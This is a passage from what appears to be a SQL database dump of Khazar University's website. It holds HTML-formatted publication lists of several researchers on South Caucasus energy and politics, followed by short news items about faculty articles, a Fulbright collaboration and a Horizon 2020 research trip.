margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Azerbaijan’s Approach to the Crimean Crisis, “Jamestown”<strong> </strong>17 April, 2014. <a href=\"http://www.jamestown.org/single/?tx_ttnews%5Btt_news%5D=42245&amp;no_cache=1#.U7ZX1vmSyWk\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">Different views on Turkey-Armenian border issue, (19 november, 2014). <a href=\"http://www.hurriyetdailynews.com/different-views-on-turkey-armenia-border-issue.aspx?pageID=449&amp;nID=74506&amp;NewsCatID=396\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Azerbaijan-Georgia-Turkey Triangle: main characters of cooperation. In: \"Caucasus International\", Istanbul, 2015, vol. 5, № 3</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">\"Islamic world needs to be in solidarity to struggle against the Terrorism\", 7th Islamic World Forum, book.&nbsp; (TASAM, İstanbul 2016).</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Connecting Afghanistan world market via Azerbaijan\", The Heart of Asia. Conference book. 2016. (ICWA, New Delhi, 2016)</p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:14.4pt;background:white\"\"=\"\">Can Trump Shake Up the South Caucasus? &nbsp;(18.12.2016). <a href=\"http://nationalinterest.org/feature/can-trump-shake-the-south-caucasus-18774\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:14.4pt;background:white\"\"=\"\">Why are UNSC resolutions on Nagorno Karabakh not implemented?&nbsp;<a href=\"http://www.hurriyetdailynews.com/Default.aspx?pageID=238&amp;nID=108833&amp;NewsCatID=396 (23.01.2017)\">Read online</a></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>\r\n<p style=\"text-align: justify;\" margin-left:4.5pt;line-height:14.4pt;background:white\"\"=\"\"><strong>Ilgar Gurbanov</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"TAP’s Fate after the Italian Referendum\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 198. <a href=\"https://jamestown.org/program/taps-fate-italian-referendum/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Azerbaijan’s SOCAR Interested in Buying a Stake in Georgia’s Oil &amp; Gas Corporation\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 191. <a href=\"https://jamestown.org/program/azerbaijans-socar-interested-buying-stake-georgias-oil-gas-corporation/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Perspectives for Israeli Gas in Southern Gas Corridor Hampered by Economic Limitations\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 186. <a href=\"https://jamestown.org/program/perspectives-israeli-gas-southern-gas-corridor-hampered-economic-limitations/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Armenia seeks to boost its role in the Iran-Georgia gas talks\", The CACI Analyst, 2016. <a href=\"http://cacianalyst.org/publications/analytical-articles/item/13404-armenia-seeks-to-boost-its-role-in-the-iran-georgia-gas-talks.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Ex-Gazprom man takes over the legacy of Armenia’s problems\", The Times of Israel, 2016. <a href=\"http://blogs.timesofisrael.com/?p=496918&amp;preview=true\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"SOCAR’s Complicated DESFA Deal Faces New Setbacks\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 153. <a href=\"https://jamestown.org/program/socars-complicated-desfa-deal-faces-new-setbacks/#.V-ROy63YGtQ\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Russia Pushes ‘Gas Swap’ Plans With Iran Amidst Azerbaijan-Iran Gas Talks\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 145. <a href=\"https://jamestown.org/program/russia-pushes-gas-swap-plans-with-iran-amidst-azerbaijan-iran-gas-talks/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Azerbaijan: Europeanisation Versus Real-Politics\", in the book of \"Dilemmas of Europeanisation: Political Choices and Economic Transformations in the Eastern Partnership Countries\" (Latvian Institute of International Affairs, Riga), 2016, pp.95-123. <a href=\"http://liia.lv/en/publications/dilemmas-of-europeanisation-political-choices-and-economic-transformations-in-the-eastern-partnership-countries-534\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Turkey-Russia Rapprochement and Prospects for Turkish Stream”, The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 140. <a href=\"https://jamestown.org/program/turkey-russia-rapprochement-and-prospects-for-turkish-stream/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Southern Gas Corridor Gains New Momentum\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13 Issue 108. <a href=\"https://jamestown.org/program/southern-gas-corridor-gains-new-momentum/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Georgia\'s Endeavours for Alternative Gas Supply: Implications for the regional Energy Map\", European Centre for Energy and Resource Security, King’s College London, Issue 54, May 2016, pages 5-9. <a href=\"http://www.kcl.ac.uk/sspp/departments/warstudies/research/groups/eucers/newsletter/newsletter54.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Iranian gas in Georgia. A feasible option?\", New Eastern Europe, 27.05.2016. <a href=\"http://neweasterneurope.eu/articles-and-commentary/2009-iranian-gas-in-georgia-a-feasible-option\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Four-Day Karabakh War Highlights Threats to Energy Security on NATO’s Southeastern Flank\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 100. <a href=\"https://jamestown.org/program/four-day-karabakh-war-highlights-threats-to-energy-security-on-natos-southeastern-flank/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Nuclear alarm from Armenia\", Euractiv.com, 20.05.2016. <a href=\"http://www.euractiv.com/section/all/opinion/nuclear-alarm-from-armenia/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Frozen War That Threatens Global Energy Flows”, The National Interest, May 2016. <a href=\"http://nationalinterest.org/feature/the-frozen-war-threatens-global-energy-flows-16136\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">\"Falling Oil Prices and Its Implications for Azerbaijan’s Gas Policy\", The Jamestown Foundation, Eurasia Daily Monitor, Volume 13, Issue 44. <a href=\"https://jamestown.org/program/falling-oil-prices-and-its-implications-for-azerbaijans-gas-policy/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Importance of NATO’s Engagement in Critical Energy Infrastructure Protection in the South Caucasus”, Caucasus International Journal, Vol. 5, No. 3, Winter 2015, pages 89-100. <a href=\"http://cijournal.az/post/importance-of-natos-engagement-in-critical-energy-infrastructure-protection-in-the-south-caucasus-ilgar-gurbanov\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Post-sanctions Iran: Implications for the Southern Gas Corridor and Opportunities for Azerbaijan”, European Centre for Energy and Resource Security, King’s College London, Issue 49, Oct/Nov. 2015, pages 4-8. <a href=\"http://www.kcl.ac.uk/sspp/departments/warstudies/research/groups/eucers/newsletter49.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Azerbaijan’s Strategic Importance for Europe and the Parliamentary Elections”, New Europe, 2015, p.15. <a href=\"http://neurope.eu/article/azerbaijans-strategic-importance-for-europe-and-the-parliamentary-elections/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Trans-Caspian Pipeline conundrum: Turkmenistan, Quo-Vadis?”, The Geostrategic Maritime Review Journal, No.5, Fall/Winter Issue 2015. <a href=\"http://igmobservatory.org/geostrategic-maritime-review/gmr-n5-fallwinter-2015/\">Read online</a></p><p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\"><a href=\"http://igmobservatory.org/geostrategic-maritime-review/gmr-n5-fallwinter-2015/\"></a>“Financial or Production Shortages of SOCAR?: Backstage of Recent Gas Deal with Russia’s Gazprom”, Energy Corridors Review, 2015. <a href=\"https://energycorridors.wordpress.com/2015/10/05/financial-or-production-shortages-of-socar-backstage-of-recent-gas-deal-with-russias-gazprom/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Greece appeared a “Gordian Knot” for Azerbaijan’s SOCAR”,Energy Corridors Review, 2015. <a href=\"https://energycorridors.wordpress.com/2015/09/15/greece-appeared-a-gordian-knot-for-azerbaijans-socar/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“NATO Wales Summit: Failure or Success Story?”, Atlantic Voices, June 2015, pages 12-13. <a href=\"http://issuu.com/atlantic_treaty_association/docs/special_issue_june_2015/12\">Read online</a></p><p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Removal of sanctions from Iran: What does it promise for the Southern Gas Corridor?”,Natural Gas Europe, 2015. <a href=\"http://www.naturalgaseurope.com/removal-of-iran-sanctions-and-southern-gas-corridor-23389\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Resurrection of Nabucco Pipeline: Real or Myth?”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3485/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Repercussions of Turkish Stream for the Southern Gas Corridor: Russia\'s New Gas Strategy”, Caspian Centre for Energy and Environment, 2015. <a href=\"http://ccee.ada.edu.az/files/articles/1956/CCEE%20Policy%20Brief-15--final.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Gas Policy of Greece under New Government: Russia, Turkic Stream and Diversification”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3406/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The New Greek Government: Implications for Azerbaijan\'s DESFA Purchase”, Caspian Centre for Energy and Environment, 2015. <a href=\"http://ccee.ada.edu.az/files/articles/1870/CCEE%20Policy%20Brief-12--final.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Will the LNG save the EU[rope]?”, Newtimes.az, 2015. <a href=\"http://newtimes.az/en/politics/3360/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“In the Search of New Partners: Putin’s Turkic Stream for Turkey”, Natural Gas Europe, 2015. <a href=\"http://www.naturalgaseurope.com/new-partners-putin-turkish-stream-turkey\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Who buried South Stream and Why?: EU or Russia?”, GW Post, 2014. <a href=\"http://thegwpost.com/2014/12/18/who-buried-the-south-stream-and-why-the-eu-or-russia/\">Read online</a>&nbsp;</p><p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Implications of the Demise of South Stream for Southern Gas Corridor”, Strategic Outlook, 2014. <a href=\"http://www.strategicoutlook.org/caucasus/news-implications-of-the-demise-of-south-stream-for-southern-gas-corridor.html\">Read online</a></p><p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Iraqi Gas in the Light of Recent Geopolitical Turbulences”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3187/\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Perspective of the Eastern Mediterranean natural gas for the EU: Challenges for the Fifth Energy Corridor”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3168\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Never-ending Story of the Caspian: Legal Status, Astrakhan Summit and not only”, Newtimes.az, 2014. <a href=\"http://newtimes.az/en/politics/3108#.VE9wLecrkM0.facebook\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Legal knot in the Caspian Sea: Hard to Untie”, Strategic Outlook, 2014. <a href=\"http://strategicoutlook.org/publications/Legal%20knot%20in%20the%20Caspian%20Sea%20Hard%20to%20Untie.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Civilian Crisis Management Policy of the EU in Afghanistan: Challenges for Police Mission”, Strategic Outlook, 2014. <a href=\"http://www.strategicoutlook.org/publications/EUPOL_Afghanistan.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Militarization of the Caspian Sea is Inevitable: Cooperation is Needed”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/447/-the-militarization-of-the-caspian-sea-is-inevitable--cooperation-is-needed/#.VC154fl_v6o\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Between TAP and Nabucco: Who is the “WINNER” of pipeline selection? – Azerbaijan or Russia?”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/448/-between-tap-and-nabucco--who-is-the-%C2%93winner%C2%94--azerbaijan-or-russia-/#.VC157fl_v6o\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Armenia is still a “Forpost”, but Azerbaijan is getting “New Choice” for Russia”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/caucasus/news-armenia-is-still-a-forpost-but-azerbaijan-is-getting-new-choice-for-rubia.html#.Ug5YjF3afVU.facebook\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Russia-EU Energy Relations: From Cooperation toward Contradictions”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/428/-russia-eu-energy-relations--from-cooperation-toward-contradictions/#.VC157vl_v6o\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Post-Shah Deniz II Period: Challenges that Azerbaijan may face”, BILGESAM, 2013. <a href=\"http://www.bilgesam.org/en/incele/449/-post-shah-deniz-ii-period--challenges-that-azerbaijan-may-face/#.VC157_l_v6o\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Armenia as a Strategic Satellite of Russia in the South Caucasus”, New Eastern Europe Journal, Issue 3(VIII), 2013, pg.82. <a href=\"http://www.neweasterneurope.eu/past-issue/1014-issue/1018-3-viii-2013-why-culture-matters\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy Conflicts in the Energy Sub-Hubs of Eurasia: How to get rid of it?”, The Diplomatic Insight Journal, August issue, page 19-20. <a href=\"http://thediplomaticinsight.com/magazine/july2013/#/18\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Plan – B: RESET of the “Zero Problems with Neighbours” Principle”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/turkish-foreign-policy/news-plan---b--reset-of-the-%E2%80%9Czero-problems-with-neighbors%E2%80%9D-principle.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy in Russian Foreign Policy: Soft Power, Hard Power, or Smart Power?”,Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-energy-in-russian-foreign-policy--soft-power-hard-power-or-smart-power.html#.UTueJ-uzP64.facebook\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Запад скорее столкнется с интересами Евразийского Союза, чем России”, USGAM, 2013. <a href=\"http://www.usgam.com/ru/index.php?l=807&amp;cid=117&amp;konu=10&amp;bolge=0#.UPmh1ygJ5CB.facebook\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Energy Security Dimension in Foreign Policy”, Strategic Outlook, 2013. <a href=\"http://www.strategicoutlook.org/philosophy/news-energy-security-dimension-in-foreign-policy.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Whether Nagorno-Karabakh Factor is A Challenge or An Advantage in Energy Policy?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/caucasus/news-whether-nagorno-karabakh-factor-is-a-challenge-or-an-advantage-in-energy-policy.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The New Trends in Russian Energy Policy following Third Presidency of Putin”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-the-new-trends-in-russian-energy-policy-following-third-presidency-of-putin.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“How can the South Caucasus countries achieve regional integration and security?”, Newcaucasus.com, 2012. <a href=\"http://newcaucasus.com/index.php?newsid=6052\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“The Arctic New Venue of Geopolitical Wars?”, Cesran International, 2012. <a href=\"http://cesran.org/index.php?option=com_content&amp;view=article&amp;id=1512:the-arctic-venue-of-geopolitical-wars-&amp;catid=58:makale-ve-raporlar&amp;Itemid=99&amp;lang=en\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Western Clouds are Looming on Gazprom’s Horizon: Does History Work against Russia?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-western-clouds-are-looming-on-gazprom%E2%80%99s-horizon--does-history-work-against-russia.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“National Security Priorities of Russia in the Context of Energy Security”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-national-security-priorities-of-russia-in-the-context-of-energy-security.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Importance of Energy in the Economy of Russian Federation”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-importance-of-energy-in-the-economy-of-russian-federation.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Does Ukraine Stand a Chance in TANAP?”, Atlantic Community, 2012. <a href=\"http://www.atlantic-community.org/-/does-ukraine-stand-a-chance-in-tanap-\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“TANAP Puzzle: What stands in the ‘Backstage of TANAP’?”, KafkasSAM, 2012. <a href=\"http://www.kafkassam.net/?act=news_body&amp;id=6405&amp;lang=1&amp;c_id=9&amp;title=TANAP%20Puzzle:%20What%20stands%20in%20the%20%E2%80%9CBackstage%20of%20TANAP%E2%80%9D?\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">“Trans-Anatolian Gas Pipeline: ‘Deal of the Century-2’”, Today’s Zaman, 2012. <a href=\"http://www.todayszaman.com/news-286675-trans-anatolian-gas-pipeline-deal-of-the-century--2.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“The Politics of Pipeline Diplomacy and Energy Security”, Atlantic Community, 2012. <a href=\"http://www.atlantic-community.org/app/index.php/Open_Think_Tank_Article/The_Politics_of_Pipeline_Diplomacy_and_Energy_Security\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“TAPI or IPI?: Second NABUCCO Disease?”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/asia---pasific/news-tapi-or-ipi-second-nabucco-disease.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“How to survive in South Caucasian Strategic Games: Azerbaijani Diplomacy”, Strategic Outlook, 2012. <a href=\"http://www.strategicoutlook.org/caucasus/news-how-to-survive-in-south-caucasian-strategic-games--azerbaijani-diplomacy.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“SOCAR – Energy Giant of the Republic of Azerbaijan: Gazprom Case”, Caspian Weekly, 2012. <a href=\"http://en.caspianweekly.org/component/content/article/41-articles/4140-socar--energy-giant-of-the-republic-of-azerbaijan-gasprom-case.html\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“Hazar Havzasında Stratejik Oyunlar: Hukuki Statü Sorunu Ve Uluslararası Enerji Politiği”, Journal of Turan Center for Strategic Studies, Volume 3, Number 12, 2011. <a href=\"http://www.turansam.org/TURAN-SAM_12.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“İran Nükleer Programı”, Book of 9th International Congress of Social Sciences of Turkish World, Turkey, Istanbul, 2011, page 314-325.</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">\r\n<p style=\"text-align:justify\"><strong>Tural Ahmadov</strong><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in\"=\"\">A New Paradigm? Prospects and Challenges for US Global Leadership, December 2012,&nbsp;Turkey. Global Political Trends. <a href=\"http://gpotcenter.org/dosyalar/PB35_2012_USleadership_Ahmadov.pdf\">Read online</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">\r\n<p style=\"text-align:justify\"><strong>Bakhtiyar Aslanov</strong></p>\r\n<p style=\"text-align:justify\">Khojaly: How and when will justice be realistically attained? <a href=\"http://www.todayszaman.com/op-ed_khojaly-how-and-when-will-justice-be-realistically-attained_373597.html\">Read online</a></p>\r\n<p style=\"text-align:justify\">Azerbaijan Claims It Downed Armenian Helicopter in Self Defense. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/13104-azerbaijan-claims-it-downed-armenian-helicopter-in-self-defense.html\">Read online</a><strong></strong></p>\r\n<p style=\"text-align:justify\">Azerbaijan and Armenia Stockpile New Weapons. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12841-azerbaijan-and-armenia-stockpile-new-weapons.html\">Read online</a><strong></strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">Spoilers in the game: Source. <a href=\"http://www.life-peace.org/wp-content/uploads/New-Routes-3-2013.pdf\">Read online</a></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-indent:-.25in;line-height:normal\"=\"\">App-Gate and Azerbaijan\'s Presidential Election. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12832-app-gate-and-azerbaijans-presidential-election.html\">Read online</a></p>\r\n<p style=\"text-align:justify\">Azerbaijan Applies for PACE Resolution on The Sarsang Reservoir in Nagorno-Karabakh. <a href=\"http://www.cacianalyst.org/publications/field-reports/item/12801-azerbaijan-applies-for-pace-resolution-on-the-sarsang-reservoir-in-nagorno-karabakh.html\">Read online</a><strong></strong></p>\r\n<p style=\"text-align:justify\">Education As a Conflict Promoter: The Nagorno-Karabakh Example. <a href=\"http://caucasusedition.net/analysis/education-as-a-conflict-promoter-the-nagorno-karabakh-example/\">Read online</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\">\r\n<p style=\"text-align: justify;\" margin-top:0in;margin-right:28.35pt;margin-bottom:.0001pt;margin-left:0in;text-align:justify;background:white\"\"=\"\"><strong>Fatma Alakbarova</strong></p>\r\n<p style=\"text-align: justify;\" margin-left:22.5pt;text-align:justify;text-indent:-.25in\"=\"\">“Tracing the Family Tracing: Unaccompanied Child Migration From Albania To Italy”, Sarajevo, Bosnia And Herzegovina, Sarajevo CIPS Library.14.10.2014</p>'),(4140,2423,'az','Humanitar və sosial elmlər fakültəsinin əməkdaşının məqaləsi Türkiyədə çap olundu','Humanitar və sosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın (doktorant) “Sanatçıların kişilik özellikleri” adlı məqaləsi...','<p>Humanitar və\r\nsosial elmlər fakültəsinin dekan müavini, Xəzər Psixoloji Xidmət Mərkəzinin\r\ndirektoru Mələk Kərimovanın (doktorant) “Sanatçıların\r\nkişilik özellikleri” adlı məqaləsi Türkiyənin “Journal of Awareness” International Peer\r\nRewieved and Open Access Electronic Journal-ında (E-ISSN:214906544, Cilt 2, Özel\r\nSayı 2) çap edilmişdir. Məqalədə incəsənətlə\r\nməşğul olan insanların xarakterik xüsusiyyətləri, yaşadığı cəmiyyətin və dövrün\r\nsənətkarın əsərlərinə və şəxsiyyətinə olan təsiri təhlil edilmişdir. Sənətkarın\r\ndaxili dünyasının sənət əsərlərinin ərsəyə gəlməsində rolu da məqalədə müzakirə\r\nedilmişdir.&nbsp;<a href=\"/files/pdf/events/melek%20meqale%20journal%20of%20awereness.pdf\">PDF</a></p>'),(4141,2410,'en','The professor of the US University continues collaboration with Khazar University','Ali Azghani, a biomedical researcher and a professor of biology at the University of Texas at Tyler, has been named a Fulbright Scholar.  With the award, Azghani will travel next ...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Ali Azghani, a biomedical researcher and a professor\r\nof biology at the University of Texas at Tyler, has been named a Fulbright\r\nScholar.&nbsp; With\r\nthe award, Azghani will travel next spring to Azerbaijan, where he will study\r\nantimicrobial resistance in certain bacteria affecting the lungs. He also\r\nmentioned that this study is a joint collaboration between Texas University at\r\nTylor and Khazar University in the field of research.</p>\r\n<p>It\r\nshould be noted that A. Azghani visited the Department of Biology at Khazar\r\nUniversity in May 2016 for the first time, met with the researchers and\r\nstudents, discussed future plans and held a seminar-conference.</p>\r\n<p>More\r\ninformation can be found in the following link:</p>\r\n<p><a href=\"https://www.uttyler.edu/news/pressrelease/2017/05012017.php\">https://www.uttyler.edu/news/pressrelease/2017/05012017.php</a>;</p>\r\n<p><a href=\"http://www.khazar.org/en/news/article/1104\">http://www.khazar.org/en/news/article/1104</a>.</p>'),(4142,2422,'en','The teacher of the Department of History and Archaeology participated in an International Scientific Project','Orkhan Zamanov, a teacher of the Department of History and Archaeology at Khazar University conducted research in Austria and Georgia within the framework of the project...','<p>Orkhan Zamanov,\r\na teacher of the Department of History and Archaeology at Khazar University conducted\r\nresearch in Austria and Georgia within the framework of the project \"Sharing\r\nknowledge and academic cultures in Humanitarian Sciences: Europe and the Black\r\nSea region, from the late 18th to the 21st century\" funded by the European\r\nCommission\'s Horizon 2020 Program, the Maria Skladowska-Curie Program. </p>\r\n<p>The first stage\r\nof the project started on January 14, 2017, at Batumi State University named\r\nafter Shota Rustaveli, Georgia - the first technical and theoretical seminar related\r\nto the project was held.&nbsp; The seminar was\r\nled by Prof. Karl Kayzer and his colleague, Dominik Gutmeyer (PhD). </p>\r\n<p>Orkhan Zamanov,\r\nthe employee of Khazar University and Institute of Archeology and Ethnography made\r\nhis first academic trip to Graz\r\nUniversity of Austria named after Karl and Franz within\r\nthe framework of the project.</p>\r\n<p>Orkhan Zamanov\r\ntook part in scientific exchange meetings with his colleagues in the countries\r\nwhere he was sent, conducted research in regard to the research topics, got\r\nacquainted with the archaeological monuments, carried on his research in the libraries,\r\nresearch centres and scientific archives.</p>'),(4143,2424,'az','Xəzər Universitetinin əməkdaşı “Əməkdar müəllim” fəxri adına layiq görüldü','2017-ci il sentyabrın 15-də Azərbaycan Respublikası Prezidenti İlham Əliyev Azərbaycan Respublikasının mədəniyyət xadimlərinə fəxri adların verilməsi haqqında sərəncam...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il sentyabrın 15-də Azərbaycan\r\nRespublikası Prezidenti İlham Əliyev Azərbaycan Respublikasının mədəniyyət\r\nxadimlərinə fəxri adların verilməsi haqqında sərəncam imzalamışdır. Sərəncama əsasən,\r\nXəzər Universiteti İncəsənət departamentinin 